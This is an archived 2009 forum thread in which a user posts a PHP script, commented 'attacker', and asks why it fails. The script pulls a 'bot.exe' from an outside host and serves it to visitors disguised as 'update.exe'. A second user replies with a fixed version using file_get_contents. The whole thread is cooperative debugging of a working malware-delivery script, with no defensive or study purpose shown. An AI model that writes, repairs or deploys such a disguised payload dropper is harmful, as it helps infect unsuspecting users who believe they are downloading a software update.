PDA

Просмотр полной версии : fix bug in code plz


darknetvn
17.04.2009, 01:28
code php

<?php

// attacker

$bot = 'http://www.bot1.cn/bot.exe'; // url of exe file

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=update.exe');
header('Content-Length: ' . filesize($bot));
readfile($bot);
die;

?>

when i run file php and check update.exe is file bad
bot.exe is can't loaded with original file and md5 checksum original

plz help me if you can ,thanks all :rolleyes:

mr.The
17.04.2009, 10:42
read this _ttp://ua2.php.net/function.readfile
or try file_get_contents() function.

<?php

// attacker

$bot = 'http://www.bot1.cn/bot.exe'; // url of exe file

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename=update.exe');
header('Content-Length: ' . filesize($bot));
echo file_get_contents($bot);
exit;

?>